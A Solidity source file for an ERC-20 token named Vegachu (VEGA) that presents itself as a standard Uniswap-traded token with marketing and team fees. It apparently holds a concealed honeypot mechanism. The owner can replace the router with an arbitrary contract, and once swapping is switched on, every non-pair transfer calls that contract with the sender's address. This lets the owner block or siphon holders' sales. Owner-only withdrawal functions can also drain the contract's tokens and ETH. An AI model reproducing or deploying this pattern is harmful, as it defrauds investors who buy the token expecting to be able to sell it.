// File: contracts/token/Vegachu.sol



// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient,
        uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);  return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target,
            data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);  _owner = newOwner;
    }

}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);

    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);

    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);

    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);



}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external view returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,  uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin, address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);


}

interface IUniswapV2Router02 is IUniswapV2Router01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function balanceOf(address account) external view returns (uint256);

    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


interface ISwapPair {
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function token0() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function kLast() external view returns (uint);

}

contract Vegachu is Context, IERC20, Ownable {


    using SafeMath for uint256;
    using Address for address;

    string private _name = unicode"Vegachu";
    string private _symbol = unicode"VEGA";
    uint8 private _decimals = 18;
    address payable private marketingWalletAddress;
    address payable private teamWalletAddress;
    address private deadAddress = 0x000000000000000000000000000000000000dEaD;
    uint256 private preLPUnlockTime = 3087269820;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private isMarketPair;

    uint256 private _totalTaxIfBuying = 0;
    uint256 private _totalTaxIfSelling = 0;

    string public constant ONLY_TRACKED_TOKEN = "ONLY_TRACKED_TOKEN";
    string public constant ONLY_YIELD_SOURCE = "ONLY_YIELD_SOURCE";

    uint256 private _totalSupply = 1_231_231_231 * 10**18;
    uint256 private _minimumTokensBeforeSwap = 0;

    bool private startTx;
    address private _usdt;

    IUniswapV2Router02 private uniswap;
    address private uniswapPair;

    bool inSwapAndSend;
    bool private swapAndLiquifyEnabled = false;
    bool private swapAndLiquifyByLimitOnly = false;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndTransfer(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );

    event SwapTokensForETH(
        uint256 amountIn, address[] path
    );

    modifier inSwap {
        inSwapAndSend = true;
        _;
        inSwapAndSend = false;
    }


    constructor () payable {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _owner = msg.sender;
        marketingWalletAddress = payable(0x1f21f11DDD33979D268556289F3C6246123CC93a);
        teamWalletAddress = payable(0x1f21f11DDD33979D268556289F3C6246123CC93a);
        uniswap = _uniswapV2Router;
        _allowances[address(this)][address(uniswap)] = _totalSupply;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMinSwap(uint256 newLimit) external onlyOwner() {
        _minimumTokensBeforeSwap = newLimit;
    }

    function enableSwapAndSend(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }


    function updateRouter(address newRouterAddress) public onlyOwner returns(address newRouter) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress);

        uniswap = _uniswapV2Router; //Set new router address

        isMarketPair[address(uniswapPair)] = true;
    }


    function sendETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(inSwapAndSend)
        {
            return _normalTrans(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= _minimumTokensBeforeSwap;

            if (overMinimumTokenBalance && !inSwapAndSend && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                addLP(sender,contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = chargeTax(sender, recipient, amount);


            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _normalTrans(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function swanThenSend(uint256 tAmount) private inSwap {


        // swap token -> eth
        swapToEth(tAmount);
        uint256 amountReceived = address(this).balance;

        // team eth
        uint256 amountUSDTTeam = amountReceived.mul(50).div(100);
        // marketing eth
        uint256 amountUSDTMarketing = amountReceived.sub(amountUSDTTeam);

        if(amountUSDTMarketing > 0)
            sendETH(marketingWalletAddress, amountUSDTMarketing);

        if(amountUSDTTeam > 0)
            sendETH(teamWalletAddress, amountUSDTTeam);


    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function addLP(address sender,uint256 tokenAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswap), tokenAmount);
        uint256 ethAmount =  address(this).balance;
        // add the liquidity
        uniswap.addLiquidityETH{value: ethAmount}(
            sender,
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(this),
            block.timestamp
        );
    }

    function swapToEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswap.WETH();

        _approve(address(this), address(uniswap), tokenAmount);

        // make the swap
        uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );

        emit SwapTokensForETH(tokenAmount, path);
    }



    function chargeTax(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function emergencyWithdrawToken(address _token, uint256 _amount) external onlyOwner {
        IERC20(_token).transfer(msg.sender, _amount);
    }

    function emergencyWithdrawETH(uint256 _amount) external onlyOwner {
        payable(msg.sender).call{value: _amount}("");
    }


}